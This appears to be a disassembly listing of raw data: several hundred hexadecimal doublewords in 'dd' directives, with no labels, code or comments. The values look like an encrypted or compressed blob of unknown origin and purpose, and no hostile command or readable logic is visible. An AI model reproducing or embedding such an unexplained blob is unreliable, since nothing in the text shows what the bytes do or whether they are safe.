dd 2F956895h, 63368C83h, 18C67448h, 0D12FC588h, 4D9AEE50h
dd 81C470Fh, 225D0C01h
dd 5FEC12EDh, 919353B2h, 711BF45h, 8BEE31D0h, 0E0129C2Ch
dd 537D73F6h, 9E58D8BFh, 9CE9621Bh, 0C3A55D78h, 22C1838Ch
dd 8061C031h, 0EEC0CDC6h, 51660201h, 0FBB45053h, 5AB7A8DBh
dd 0E9FC1328h, 557A80AAh, 21EEF68h, 0A9CD26B8h, 0D8804434h
dd 49C30E80h, 9DFADDF7h, 0CC74914Eh, 0D2B6B484h, 0A9945C24h
dd 0A5E909DBh, 53472C9h, 0DC0125D9h, 0F9536465h, 44C7CDC2h
dd 90F57CA4h, 907C0D38h, 620F1CECh, 0EB814605h, 499C0D0Bh
dd 44196F0Ch, 5EF30D29h, 0C2976851h, 7EACD559h, 9318CC8Dh
dd 0E26CC11h, 30BA81B7h, 462068E7h, 7BA64391h, 63E953ECh
dd 5854DB90h, 8A3EB22Ah, 8312C642h, 5C0492EEh, 0E2E230A8h
dd 0FACC5EF7h, 0A8847D92h, 54CE925h, 70CD66CBh, 46C53442h
dd 427B31A0h, 8ACD4C0Bh, 0F02052Eh, 54C4F613h, 69FCD0A4h
dd 52096B03h, 97CED632h, 0DD209A9Ah, 0FC95A041h, 33580FBh
dd 385ADC12h, 0EB2960C0h, 69E92D5Dh, 3CE50D09h, 0B598CB20h
dd 3AE046C4h, 4EAC29E4h, 69373134h, 0F110A487h, 801F7650h
dd 370EC981h, 0C05EE13Dh, 56F91DF1h, 6F5498FCh, 0D1B37FE2h
dd 3884E0C9h, 5452D922h, 0C01B3F26h, 53BA713Dh, 0F8910CC3h
dd 0E58F888Bh, 0CA290532h, 0FED30059h, 0F7134A2Bh, 586EDA4Ch
dd 0E0428EFAh, 467D72CAh, 1BE91862h, 9AC1B153h, 0EBE6902h
dd 4159CD01h, 57AC4AA6h, 0FE8909ECh, 233C2005h, 2CD3537Ch
dd 0E68E4EDDh, 0D060ABE4h, 58C38843h, 1A7C5974h, 18D838EEh
dd 80646032h, 343A902Ch, 88510FD0h, 547AA5C7h, 0DF1266B3h
dd 0BA22C871h, 54A8F0Ch, 246C66Ah, 682AD138h, 0E90311ECh
dd 59313D51h, 17094B98h, 0FED6ED9Bh, 0EA873032h, 718E0025h
dd 2C68C17Ch, 80B857E9h, 7D742DADh, 1EF673FEh, 2504D3D6h
dd 83028DDDh, 0F9D202C7h, 7454495Ah, 0FC83A53h, 16393768h
dd 0E3D86021h, 40BF5A80h, 0B9515462h, 290B4261h, 55285FF9h
dd 0A7782C4Bh, 848B49h, 0D1C281EAh, 0FA6A5E2Eh, 49625C04h
dd 0B4BD3C88h, 0DE8B6DDAh, 0D5FA011Eh, 0D08B0B3Ch, 56518DB0h
dd 2AAC8D93h, 2730A082h, 8124E15Fh, 0E3AAECCh, 4E685751h
dd 0BB8F30B2h, 0E6604DE2h, 0A2FBF346h, 82EC50C2h, 17CAB1FEh
dd 341F7202h, 314B4A70h, 1B114A41h, 0A9304256h, 0B4121F25h
dd 80D6EC58h, 57501AF2h, 43992969h, 0E879FAB2h, 0D1C7742h
dd 0D359669Dh, 12E660DAh, 2E80CB40h, 103920CFh, 4C3C4C28h
dd 0D10A16A0h, 7F20CAh, 494662B8h, 0E8D14869h, 0DE80E913h
dd 695B5392h, 0B86C5CD1h, 0E9B0AD48h, 10D68091h, 0CBB02786h
dd 678A5D08h, 5182082Bh, 4056F02Eh, 6D83133h, 9C15C0Dh
dd 52E908EDh, 69C23F90h, 76090D14h, 4C7C0BA6h, 0E22B022Dh
dd 0C2EB2445h, 312701CEh, 8DD4C8Eh, 2CAB2968h, 0FC1A0FDh
dd 0C6F1E53Bh, 31060133h, 80215FFBh, 7E9C1FEh, 9113D768h
dd 0CB579ED5h, 6903922h, 0AF33711Ch, 0C9DECA60h, 836120BDh
dd 8069231h, 0E806BCFEh, 0E1A639ADh, 0A4302633h, 2D59938Bh
dd 0E2090DDEh, 0A281F0Fh, 8F605B5Eh, 2C4944BEh, 66C4767Eh
dd 6AB35E29h, 20E80A9Eh, 2A61C505h, 8B006AE6h, 4E18622Bh
dd 13DD7F01h, 884171E9h, 0C0908148h, 0D27E9C0Ch, 0D85AB964h
dd 28A47E57h, 814E3F00h, 903EA0E6h, 0EEC10B01h, 0B38F4603h
dd 2CB777A0h, 0F1BEE7E9h, 55504705h, 0D8AB2282h, 62030F30h
dd 10496838h, 62E446C9h, 0D0866AC4h, 3795308h, 5293E954h
dd 54610C4Ah, 179AB0Fh, 48C97E10h, 46C7008Fh, 2960C257h
dd 4D54FCEFh, 0FD281A63h, 0B32F087h, 835F3AEDh, 0F487F506h
dd 0CE8F5C50h, 12A23703h, 92C1E3D1h, 5EA64105h, 475AE30h
dd 24E9C321h, 10BD0023h, 3E60B67Eh, 0F516EE09h, 0CAD6CD26h
dd 47201564h, 0C3012CCBh, 1D22A8E9h, 0EC7E0BF9h, 70B53DEFh
dd 2C83A22Ch, 48104002h, 54DF024Ch, 0D310F0C0h, 17EB581Bh
dd 73675BD8h, 349C3F3h, 32FBE0Ah, 1FD2106Eh, 0BF07E250h
dd 42DF176Bh, 2C2D31A3h, 140DEB57h, 21D3AF1Ch, 6225B003h
dd 43A21A25h, 5B0DA577h, 7BE13DC2h, 9E07283Eh, 3014490Ah
dd 54497D98h, 0AD429ED5h, 56674602h, 1F7C6A6Dh, 7CA0579h
dd 3A980343h, 1ABEA40Dh, 25085E09h, 55EE20CFh, 3F2D05BDh
dd 0E5833EFFh, 193349DEh, 5CE60C00h, 55E970BBh, 6578D62Eh
dd 0E90160F0h, 92A2DA2Bh, 105499C4h, 0DB60F7F5h, 6531B064h
dd 36C58052h, 1219A3Bh, 0DF44A0F5h, 0D6710156h, 0B41EAC81h
dd 55E9D4DDh, 7B79F0B1h, 79CFC08Ah, 7FD11F09h, 72950D5Ah
dd 31E2E018h, 51245714h, 4BCD01E9h, 0EAC1092Ch, 69C20820h
dd 2F03A1CFh, 364F31ACh, 8087EB38h, 47961AE9h, 0D9295B04h
dd 3E867281h, 56457E9h, 621C26E9h, 52E7402Fh, 311D68A0h
dd 59965EF2h, 0C42DB310h, 93D56FE9h, 0C7258E12h, 86EFF104h
dd 31686ECCh, 0F6331229h, 0D5E06DCEh, 0B28C5C35h, 25135641h
dd 151B6932h, 9F549628h, 5CF57135h, 85926CD9h, 0C28E2854h
dd 90D13D40h, 3CBDA05Ch, 623448EEh, 0F1D98600h, 65350545h
dd 0E977FA04h, 68F4D726h, 3053A424h, 0C811081Bh, 620B2559h
dd 5068604h, 1CD14924h, 4A8D3F7h, 0BA84185Ah, 2FEC3A78h
dd 3D83080h, 0C0A9B551h, 0ED9808E5h, 0D561F603h, 0F580060Ah
dd 0E030D371h, 0BDF1402Fh, 3BA482B9h, 470F2E19h, 0B12168D8h
dd 0C45147BEh, 3659C87Fh, 0BDB6033Bh, 3AA8A650h, 0E2C15A80h
dd 0B8D2F706h, 1A290154h, 0A5E92D64h, 5D22957Bh, 1EE479DCh
dd 0D10012D2h, 71174BB1h, 8147005Fh, 0AC6421EFh, 0F97A8923h
dd 2A7E0504h, 0AC8217D2h, 0A25B05E0h, 685C04E3h, 15CD0CB9h
dd 953A0430h, 78104C3Ah, 0D6B65DEFh, 0D0AEE962h, 1B6BAE1h
dd 6D0A4412h, 7001EA83h, 3818FE2Ah, 0D9DA0E2Ch, 57AD3066h
dd 9B1BD20Ch, 0D55E01FAh, 50ACCF62h, 6AB900A9h, 817FD607h
dd 68057EF1h, 0CE31AF18h, 25E9E888h, 0A3114D61h, 2CD80102h
dd 31BC212Ah, 947E41C6h, 0C2AFA7CAh, 0D8C162E5h, 2F9069h
dd 418C74B4h, 0E63E945h, 0ED04B191h, 0CAB8AE66h, 56F82322h
dd 63FBBCF0h, 0FB6809DEh, 588F1962h, 0E06BDC02h, 92CCDDFBh
dd 81F83282h, 0AC68CCB1h, 4F89442h, 4B03F05Eh, 0BE70765Bh
dd 0E1A3C380h, 62738A60h, 1926747h, 4C857F59h, 0AC16FA48h
dd 0BAC9E10h, 2C8845Ch, 0FC5A3DBh, 0FC67746Bh, 28C5F926h
dd 0C287F788h, 0D7CB8139h, 82275041h, 0FB3B6A0Ch, 97F9414Eh
dd 9640693h, 7129069Eh, 9381A427h, 0A7A8487Dh, 5A48D331h
dd 0DA841692h, 0FAEFC6D0h, 7DB47F5Fh, 806D4EF1h, 1B72BF5Ch
dd 253842Eh, 3A41E713h, 28D7B450h, 0B00FB5E3h, 586EE9FDh
dd 2EB995FDh, 550474F8h, 44B3E5FAh, 64DA9A27h, 0C6533047h
dd 4833CDE7h, 0E2A0A24h, 0A42BA08h, 92D1CBBh, 5464D8B8h
dd 8CEA8034h, 6C3892A1h, 172C00B5h, 35122E6Fh, 3E077800h
dd 5D0F72Fh, 802010Bh, 97BF576Ch, 292EEC99h, 38B38295h
dd 0A737FB3Dh, 1A6FF722h, 1A876604h, 70492D31h, 0BEE456DDh
dd 1A516114h, 2A08E9F0h, 0C9096800h, 4D79840Fh, 4510B2C7h
dd 132E7540h, 8BEA2376h, 65CA7717h, 93005E2Ch, 0C819135Ch
dd 1F935D91h, 72856805h, 4A384F8Dh, 1343D324h, 85BEB220h
dd 0F152CD44h, 75F71706h, 96E20B0Ah, 0E85551Dh, 92275325h
dd 75745B7Dh, 53E69827h, 18B90451h, 0C716196Ah, 932B0126h
dd 0CEA34006h, 777CAF4Bh
dd 7F7EE13Eh, 0CFED057Bh, 0BE62A04h, 19D71B21h, 0E008E3C3h
dd 702604F3h, 60189507h, 529EF5E9h, 0D892491Dh, 0ACF24Bh
dd 0C5802031h, 0E42C3F99h, 92E4F02Eh, 81E625B9h, 3108365Ah
dd 871F31D6h, 12A516Eh, 7D16035Bh, 0C6293D16h, 3BB6C50h
dd 48670CC0h, 0FC01DE31h, 1B036856h, 0E8307340h, 0FB29804Ah
dd 0F5B85F60h, 0C10D5819h, 0B493B90Ch, 6CEEF017h, 15E47818h
dd 3628F60h, 0DE0105D8h, 7B27FCE9h, 940E6B5Dh, 7DC11F95h
dd 0E079088Bh, 0A790E42Eh, 0FB894C03h, 0E38D44FDh, 0B895CC02h
dd 9D0E7B19h, 2D3BC3E0h, 3F7EEC2Ah, 8D609328h, 36629B39h
dd 821C2E45h, 783E8908h, 68F59E68h, 22E402F7h, 69546BA2h
dd 25525994h, 0EC138B1Ch, 9744B055h, 0BB5B5309h, 760C839Ah
dd 0D00182C4h, 0BE80525Ah, 54053590h, 0E9DA890Bh, 33C9C0D5h
dd 0A0E4992Ch, 4EE49092h, 83352857h, 4CC7E988h, 5CC73D1Fh
dd 0CF04A9C1h, 0C28109C0h, 8D78FBC0h, 4D9AE883h, 428654B2h
dd 137C68A8h, 1897D6EEh, 91DA0169h, 7B2D259Ah, 7A7430EAh
dd 16691941h, 821D732Ch, 5EF53158h, 6EB34705h, 7389A02Fh
dd 21287982h, 0C8C731F1h, 6C7AD0F2h, 169325B3h, 0B279AD92h
dd 5F9E992Fh, 0DC48A432h, 5C203C4Ah, 4228555Ah, 0A0DB5C68h
dd 0E9EF6131h, 26553C13h, 203E245Eh, 0C681642h, 0D8498C7Eh
dd 145B2A04h, 76F3DBF7h, 0C087451Dh, 0E9FFC383h, 0C7BC73B3h
dd 226885E9h, 0FF64D5D0h, 4AEDF032h, 400BDDC1h, 31029255h
dd 0CD176C72h, 0C942F2E9h, 0D85BF888h, 805A1D87h, 132812F3h
dd 0E92B05B8h, 5DBCD2E5h, 0D56BC1h, 99209D68h, 5E5485DAh
dd 49358052h, 0C1F4816Eh, 2807E026h, 255CC308h, 5D3EAE45h
dd 3C5257FFh, 5C07D78Fh, 95F392F4h, 8A60B625h, 4FBAFBB0h
dd 7E161E4Eh, 36E134C7h, 4701D0Eh, 0C03B12F9h, 0A4D0155h
dd 535CE79h, 130CAFF0h, 2FD1C74h, 9A14C7D4h, 283F6656h
dd 89F308E9h, 9247B9D0h, 2194075h, 1F484D46h, 7175C105h
dd 0F6A88043h, 0B7A0916h, 1304EF2Ch, 857A0102h, 0C08A8B0Ch
dd 4E82826h, 0EB805966h, 1888147h, 14F24A05h, 7FC9272Ch
dd 9B0BEE4Ah, 4A4D82ACh, 8CAA5138h, 5FFDF3E4h, 0AE6F0C96h
dd 4E7FFF7Fh, 0AFB5F641h, 7D96EA30h, 0C01A1DF2h, 9CB151FFh
dd 71F7C1FEh, 59CAC03Fh, 0F1EED7FEh, 5305E29Eh, 30325B54h
dd 97625097h, 580AEF16h, 55577568h, 25A1BE81h, 4B200EA6h
dd 842216DBh, 568B0003h, 0E9335436h, 3275D237h, 0C62E0999h
dd 400B982Bh, 0F725666Ch, 3A2DC6F1h, 244F8B54h, 0CE64EC2Ch
dd 0DA62304Fh, 3964669Eh, 29E04920h, 831FFA29h, 1B7B48EAh
dd 0E9F201B0h, 305855Eh, 8C1E895Bh, 0CDA7905Bh, 6F3C82h
dd 46D6F75Ah, 5831564Dh, 0A00B6AB5h, 583BFD10h, 0E612557Ch
dd 680C0E2Ch, 0B1AD441Dh, 0AD346E4Ah, 0CAD2E8ACh, 860A58D3h
dd 5B271B12h, 0E95728F1h, 0E925F2D6h, 3D60B9E5h, 0FECF0CEBh
dd 0F2D729DFh, 941CC46Bh, 8C02EC5Dh, 31665C0Ah, 96A5A7D8h
dd 0D944D7F1h, 9CC229CCh, 0CC8754F2h, 0FB125965h, 24805C2Ah
dd 1F504CB2h, 7E1D8988h, 7C5AB999h, 5852A118h, 0D065E236h
dd 0C2F4A808h, 0A67C4768h, 9439CA8Ah, 0C597B7F4h, 731AF382h
dd 2E2AE37Ah, 5777F74Dh, 3B01C831h, 41AD3877h, 0BC4B27CCh
dd 40BD9481h, 0CCEA8A48h, 0DF0F6CE0h, 33106EF3h, 43A2481Bh
dd 58C71696h, 56DFE2B2h, 82D43425h, 8CD42A06h, 5B605519h
dd 4401A989h, 2195B763h, 3A0558B9h, 61E1634h, 8311E7C2h
dd 2D3DE170h, 0B4C10744h, 2C81F8h, 18915C8Bh, 31182E10h
dd 82F9AA82h, 0B7A1D554h, 936CF79Eh, 68EBF1C7h, 0C7EBF9F8h
dd 724A0436h, 7D801ADCh, 2170EF81h, 83AE38FAh, 375843BEh
dd 3A53B1E1h, 2BEA59ABh, 7E90A596h, 0C84ABF0Fh, 27E9E328h
dd 76E9CDD1h, 4749C1B8h, 0A81FCF8Bh, 2C8B2C08h, 0A80FC4C3h
dd 8605026Ch, 5401CB5Fh, 1C825271h, 800F35B9h, 0C497AEEh
dd 4DBDF656h, 0FA4143CCh, 122F5230h, 84628569h, 148924FCh
dd 6104140Bh, 114BD460h, 1AE984F1h, 2D4F16A8h, 3D8928BCh
dd 991100B8h, 0F92D4830h, 0EF7F3F06h, 45B03DCh, 0E008E987h
dd 0F67B8001h, 269628F0h, 0E9CE310Fh, 5BC66189h, 5CE4E775h
dd 0F8DBD944h, 0C9FF4E4h, 5C9A016Fh, 56030AEAh, 2E6DDDBEh
dd 5290EC12h, 60D56E38h, 73FF1C31h, 88836ADh, 0F9623AA8h
dd 1074299Bh, 0C906CE2h, 0CE25E95Eh, 9863443Ch, 5F2C404Ah
dd 88F80100h, 5B595808h, 0BDAACB5Ah, 4A9CFF64h, 964A644Bh
dd 0F4D26428h, 264AE347h, 5A83D0CCh, 6103CBC7h, 0C8856639h
dd 4171FD07h, 38715494h, 0F8DAC9A6h, 0F2129C28h, 0BA048644h
dd 17DA2644h, 35FB1280h, 4B792E9Fh, 0B945023Fh, 0D97620C8h
dd 4008E28Bh, 12FDEAF5h, 0F02DDBFBh, 8F25E98Ch, 415C924h
dd 0E911283Eh, 17541449h, 32C71068h, 14B888A5h, 338B824Eh
dd 7F82076Ah, 625CDC48h, 0A3B3944Bh, 99234A27h, 0D2A77D1Dh
dd 136A54C9h, 3018E51Eh, 72B8E1F6h, 0E73B2B60h, 48420641h
dd 9B3EDE46h, 78B812h, 8D6EA392h, 219F3179h, 3D0DE91Ch
dd 36970B38h, 0DA980D43h, 483F25B1h, 182DD40Ah, 0EA3D2D8Bh
dd 82ECD75Dh, 60BA536Bh, 2313761h, 87FFF645h, 0B9DB2EC5h
dd 0BC76FE84h, 79148BAFh, 5864624Bh, 80DAB600h, 0C2AFA1C6h
dd 71F2133Fh, 0C127E1DDh, 0E8AF419Ah, 0F78C5078h, 101D74B7h
dd 0D7944F1Ah, 659A018Fh, 0FD0154ECh, 55A52C3Eh, 2C968291h
dd 661ACC9Ah, 6A8208D3h, 5374CF21h, 1716B770h, 0C8F098E9h
dd 0ED496B61h, 969691Dh, 0F7D320B2h, 2D40D8h, 25396720h
dd 0C4EB951h, 4959FD1Fh, 0F841D1CCh, 878924CEh, 79C81FE7h
dd 3D58C592h, 814D2C94h, 9986850h, 0E9868538h, 59EA8B75h
dd 0F1C3BB60h, 5C4102E8h, 2384ED4Fh, 4783F432h, 49C0D01Fh
dd 434BF29Fh, 0B35F1145h, 2C0BCA78h, 0B7B85A0Eh, 0E99AC898h
dd 55E30BFh, 0F751002Ch, 57D8012Bh, 12049DBFh, 69E97698h
dd 595E0AA0h, 22FDE66h, 0DEC47691h, 5747D0F6h, 419BBFD7h
dd 2D827CC3h, 0BAEDE95Fh, 2688CBFCh, 0DBF60F4Dh, 5EE212F8h
dd 0D6C019B7h, 0DA812FA5h, 0CCD95B72h, 437EBC1h, 6691A04Bh
dd 122E7BE7h, 0E93501ACh, 0D87CCAF3h, 460403C2h, 0DA0157FEh
dd 0E9170810h, 5F53429Dh, 0AB85CF09h, 8953D136h, 10CD22F0h
dd 580977CAh, 4E82D129h, 2E730A60h, 893D253Dh, 34E81BBh
dd 1420D3F7h, 9A550245h, 0E1D14124h, 20D91741h, 0CB09A516h
dd 80314F8Ah, 5EE99322h, 0AD2B9957h, 1695879Eh, 56872072h
dd 7EEE4260h, 74BF9F57h, 5A240429h, 8D621A68h, 0A9D7417Eh
dd 142008D5h, 0AE7E670Ah, 797DEA07h, 4BF3C064h, 82F16B5Ch
dd 0C7167A0Ch, 28595E3Dh, 3237F0ECh, 53F8074Ch, 9EF2610Fh
dd 21F8DB26h, 68A294D1h, 0DEDD09B6h, 0CA698D51h, 8DC37CC8h
dd 0DEAF0F1Dh, 0AE3A47C1h, 52666061h, 5316973Fh, 5E9E3C84h
dd 5DA6E9D0h, 0CB511674h, 4561D5F1h, 912508BFh, 5E5BC582h
dd 0D0AC2B3h, 0A0D87AE9h, 16F13CB1h, 885D9542h, 10B07F9h
dd 5BB548CDh, 80349655h, 290E2FE4h, 0BAB23EE9h, 4281AB2h
dd 0A500C250h, 89727E70h, 4DE95BD8h, 77EEECDh, 0C7FEA9B7h
dd 52E22080h, 413B151h, 838710B2h, 0FE12EAC0h, 78F2EAC2h
dd 0CF94EA01h, 0C1C79026h, 73020987h, 8A6ED728h, 7BB4A080h
dd 7DC48007h, 0EC53DCF6h
dd 1F06304Bh, 0E7287916h, 18AF5856h, 3A2FA88h, 0EFB68373h
dd 4E964BF2h, 0E42E9628h, 0E9CF4949h, 0D9BCAB0Bh, 0A6FAB07Bh
dd 364ED525h, 267E6A90h, 0C06826E9h, 5FF986CCh, 895AC229h
dd 0E91AB8CEh, 4AF67B44h, 3494C581h, 0BEF9E8F0h, 1133D125h
dd 27B8A910h, 0AC5A1454h, 1F9B01Eh, 12A37763h, 896B6168h
dd 1828C46Fh, 24F5B3ADh, 1663B050h, 0ED71903Ch, 37272EC0h
dd 0C09FE225h, 307AC42Fh, 9AEA3399h, 327FE663h, 820E8B6h
dd 7E141CD1h, 0A32E4013h, 572408FCh, 0EFFC6F5Dh, 0E72184Eh
dd 18F7508Ah, 0D71BE5E9h, 5392EF7h, 110C63FBh, 75C0BBB4h
dd 28080B62h, 1C420112h, 69860809h, 897F12D3h, 2B533E26h
dd 969E008h, 7A7280E9h, 72C304BDh, 686DD899h, 0C53C13D3h
dd 78BBE8B8h, 0B460E12Ch, 98DD94h, 51F3D8E7h, 45E392Dh
dd 0E8297412h, 17AF8057h, 32909F1Fh, 0A719542Dh, 8A62C71Ch
dd 0EF4D606Ah, 622E264Bh, 0CCE26B5h, 3766E9C1h, 5D40244Ah
dd 57D071Eh, 77E5EE4Dh, 7B2C26ABh, 125414FFh, 0D6022307h
dd 0BFF56060h, 1760893Ah, 882D990Ch, 4BE19054h, 4435095Dh
dd 95BD8120h, 7A17031Eh, 552C5955h, 0F6D96687h, 0E9FA0A01h
dd 0E0130C0Fh, 59C82931h, 78504939h, 36238FFh, 0E0C1405Bh
dd 0E397A208h, 0B705989Dh, 0C4FB0B46h, 0DA708DE9h, 4169D096h
dd 0AB60585Dh, 0EC4992BFh, 0DA66066Ah, 2BB85023h, 88C82CC3h
dd 0ABB7FA10h, 26306F83h, 3AF842CFh, 681C08D9h, 0AFD954D3h
dd 5B62616Ah, 0A071A03Bh, 7225E99Ch, 90A68166h, 5F5F996Ch
dd 0CE5E763h, 0A1250621h, 0E69FE9E7h, 9A1356Bh, 5E68F247h
dd 2D122EF1h, 0B456079h, 96C202E1h, 0B4D30425h, 0B64B9FA1h
dd 12296ED8h, 88565DEEh, 0C3963441h, 7EB0E95Ah, 2CAF43A0h
dd 3DC00416h, 0A86406A6h, 33782FC7h, 0F2051998h, 66D4AD81h
dd 23F83D25h, 829DFBA6h, 9E02E4B9h, 4E2F50E0h, 42BECEA4h
dd 0E561908Ch, 2BDB04C5h, 0E055582Eh, 5B75D33h, 0F9924BECh
dd 505BD4BAh, 52544C68h, 414048CFh, 5DFA0305h, 0C689331Ah
dd 42DA86E2h, 32DA590h, 0F9FF1322h, 247FEEB4h, 6DBB08D8h
dd 33EF830Fh, 21987CBh, 40D051B9h, 0AF05F8FDh, 5694581Dh
dd 0DD3CC940h, 17505F06h, 4B39E8E9h, 33F359C0h, 5CC243h
dd 1874C317h, 0DE313A08h, 47949Dh, 423B7A2Dh, 3A8056Ch
dd 0E97EDE06h, 0EC411EB0h, 524113FDh, 0C1A9C210h, 0A45D0885h
dd 91973130h, 0C110B500h, 7D26BF3Eh, 148B63C8h, 9A81022Ah
dd 3951310Ah, 9890A422h, 0A46DADE9h, 5AD2581Ah, 0B2B54F84h
dd 4FAB906Bh, 74551372h, 13BCE858h, 666FF6E2h, 6FB64EEh
dd 843A54F3h, 1A61D810h, 0CE2CD83Dh, 3F2899C9h, 0AF6283A2h
dd 0DEB18B13h, 36533BDCh, 4CFC95B0h, 13F3D7Bh, 6132175Ch
dd 0AF840383h, 0C094E4h, 203FF5EDh, 0A0A01991h, 11C6634h
dd 30B7E933h, 70F26822h, 0C7B897AEh, 770BEA81h, 5A1C3C27h
dd 820882F3h, 0A402BEDDh, 9080C015h, 0D0F2014Dh, 0E916082Ah
dd 5645559Ch, 0F8295C83h, 48182BF1h, 2FF0F13Eh, 10C42066h
dd 76C5005Dh, 89FBF554h, 35015DE8h, 9EA7F874h, 0C12529E9h
dd 4378FF00h, 0F80B7BAAh, 69A29F70h, 5B04495Ah, 0CD16B7E3h
dd 2CE3D246h, 0B40041h, 2E68E2D1h, 64E252B8h, 3DF4C355h
dd 7CB83D44h, 0B9FD85BDh, 78A02A49h, 0B72D0772h, 0A23D8948h
dd 5ED94CF5h, 0BB7A2A3Ch, 8F1DAFBBh, 55B93AE5h, 0CB68C8B0h
dd 0A6354A5Fh, 8BF77631h, 6B0EF9EAh, 0E7FBAD68h, 9F262B2h
dd 0D2771D32h, 4CE4D2CAh, 0C91ADBC7h, 6E405332h, 20BA51BDh
dd 0E781D701h, 3F285C7Ah, 0E2EFD8h, 5654A574h, 3621BF57h
dd 0D019622Eh, 0C0F34A13h, 0C9AC899Fh, 6F0D6229h, 5457ECB3h
dd 72885280h, 61F07ACEh, 0AA68AF2Ah, 78B9732Eh, 530EE4Ch
dd 40AEE96Fh, 0EDC5ECF8h, 4F6E312h, 3D076857h, 5FA386B8h
dd 52085EE9h, 0FD684ADAh, 318ACBDh, 0F7BC4464h, 1F3A2621h
dd 0E5C104F3h, 0FA85C308h, 60659710h, 61FE49DFh, 45958664h
dd 0DD5C13B6h, 93302BF7h, 955BD829h, 0B83B1524h, 40B807F2h
dd 5700115h, 2D61ECEDh, 2E6129CCh, 2DC730CBh, 21630216h
dd 0ED096006h, 8C2CE69Dh, 0D35C5725h, 0BB5308C7h, 286F7C6Dh
dd 0DD246840h, 0E569CC66h, 31C2E78h, 6796A55h, 0E059CFD1h
dd 752535A1h, 512B8427h, 0F216E5B0h, 347A5E0Eh, 0CB3119Dh
dd 0C865526Bh, 0C9520B2Dh, 75037Eh, 0BC13A069h, 1D85F70Bh
dd 0FCA6EB83h, 6E41954Ah, 587F4360h, 7268C164h, 2FE01312h
dd 257BB9B3h, 0D1C67D2Ch, 0B74EFF09h, 0F7BA8013h, 12421A9Bh
dd 825BD929h, 85E47252h, 0BB7EDE88h, 5912CDFAh, 0D796E821h
dd 27E92FF8h, 8C5C5689h, 9CA89EC5h, 53CB4140h, 0E912D95Fh
dd 0BD3180B3h, 0A2E4FB2h, 0F503817Dh, 9104F716h, 6A8083D0h
dd 0FA573A2Dh, 70B0511h, 4287D89Ch, 0E2D50F97h, 0E46E4C08h
dd 45AD3h, 0DCC43BAFh, 0B4DF293Dh, 14DE58Bh, 0AA785714h
dd 48C880EEh, 0B862067Fh, 134B4F1Bh, 0F2089838h, 0B413002h
dd 503DE944h, 190D9098h, 46D86199h, 0C208D4CFh, 0E7066B98h
dd 7AA02462h, 261E7718h, 3C2C01BDh, 517B0CE0h, 0EAA8B9E9h
dd 0BD56ADh, 0B665ECE8h, 6907FC63h, 70101C6Ah, 0BE80B170h
dd 1F91EC9Eh, 16DEF776h, 318B4495h, 95CEE2C8h, 0ABE909D2h
dd 0BA8593DAh, 0E1914001h, 28650020h, 216CB81h, 0D2C01C24h
dd 365535F0h, 0E9DF17F7h, 0B7EC418Dh, 30B55154h, 79A9274h
dd 62811AB5h, 80ED74DCh, 0A19971C3h, 0DA540948h, 0F5270166h
dd 663C095Eh, 85C2E42h, 0B0FC428Bh, 0EB5F5D02h, 51CF993Eh
dd 0A0DD2172h, 76DF9A9Dh, 67BD809Eh, 0B92AD40Eh, 0AE231D05h
dd 9A822947h, 0F898505Ah, 46221268h, 0C024C41Bh, 0F17556E7h
dd 0FA011D16h, 5808F710h, 9F174103h, 17095B18h, 4E9D7079h
dd 28D48150h, 3A1D2FEFh, 0F8D6611Dh, 157FA204h, 5E2778A3h
dd 0FDC6FB69h, 5586C1Eh, 712EF4BBh, 5504F3ACh, 8079C846h
dd 0EA2AEF3Ah, 0F1C7034Fh, 6C24E390h, 0D2195CE5h, 0F925F3Eh
dd 0AA670056h, 21FAC8B2h, 5CD8EB5Dh, 88B127Eh, 680AA1A3h
dd 0A84A5323h, 540E3279h, 0D40D097h, 2930024Bh, 28C67034h
dd 0B37909Ah, 0B31BE9D3h, 0CECB2CC8h, 1ACDC16h, 342626B5h
dd 0A8CB134Fh, 0E5E9F1C9h, 0D3018D51h, 0CC48B526h, 15252931h
dd 0EE6F9CE6h, 7C31A42h, 0C60E625Ah, 58C6250Dh, 9220A5DAh
dd 9968123Fh, 2794CC03h, 5AC240h, 0FEB5B652h, 0AEE80C6h
dd 660C7FCh, 46FC1A1h, 503AF7B1h, 62510890h, 294ADD3Ch
dd 19452B0Bh, 82F85D05h, 0AF30D090h, 0F58163D8h, 840905E0h
dd 0F86C0127h, 52978AECh, 28114BC6h, 0CD2834Eh, 9A1010ADh
dd 0A4CD4A52h, 9DFED7ECh, 4E031048h, 0BF06B401h, 87189FCh
dd 0E29A124h, 0E9215FFDh, 0B67C1CEh, 36416352h, 5584403h
dd 3C725691h, 0C100C28Ch, 0CA8103E2h, 0E256C26h, 92B64804h
dd 1877300Ah, 0A8F8C30Ch, 0D6013909h, 0B64D35Ah, 5D96242h
dd 0D1C20903h, 64B2E1E2h, 7A773E23h, 8F65D95h, 11EC5F25h
dd 4DEBC35Ch, 225A2ED2h, 52CE2D01h, 346F51DEh, 0A5C92DAAh
dd 0B3BC577h, 8BA9E4E9h, 4A3BF8DBh, 7D1AE6E2h, 1BF62214h
dd 5FF9C2CDh, 4E3F9075h, 0F1A4FEE7h, 0C6AEE85Eh, 959FC821h
dd 888ED296h, 0A685509h, 80EAF942h, 6E70174Ch, 7A001E35h
dd 0D8F738CFh, 7C68D405h
dd 0D483CEEh, 10757F82h, 0EC68E8E9h, 6815C7FEh, 1C265618h
dd 263E3CB0h, 79A54758h, 62E904BCh, 0FC6BB50Eh, 5F13ED7Dh
dd 41A36468h, 4629BF25h, 0E95F8900h, 6EDEAE2Eh, 9127FE1Eh
dd 0E0395E6Ch, 24511B10h, 15C8085Dh, 3C5CE984h, 65C58BFCh
dd 9E8D666Ch, 144C472Dh, 5D24B01Ch, 128BFD1Dh, 500A170h
dd 70F42D0Ah, 553F6851h, 0DF206367h, 663E1398h, 0A8AF007Dh
dd 906812Dh, 93E9D612h, 15DD2B91h, 3E412F18h, 3DC18330h
dd 0E22505EFh, 93803D09h, 36043A7Eh, 0F2250494h, 161A9007h
dd 1E6F3CF4h, 4C2096A6h, 0D345095h, 7E5B1812h, 0EDC0C412h
dd 3DB304ACh, 0F530FB2Ch, 81B050B9h, 1E0C03Fh, 0BBB15166h
dd 893BC820h, 7614F5E6h, 6B4F16A0h, 0E4206F9Dh, 0E90DC502h
dd 0B8CC4B68h, 0C3F58A5Ah, 6A34CF2Eh, 25FA5008h, 980819E5h
dd 88E02EE6h, 492F3262h, 8F78CEBDh, 10C49A5Bh, 0BD3EEC95h
dd 6B02578Bh, 0BCCDC180h, 14583079h, 592E0160h, 0BFE9472Bh
dd 0BB02A32Ch, 34925869h, 0B9806B51h, 1AEA485Fh, 98F3BA41h
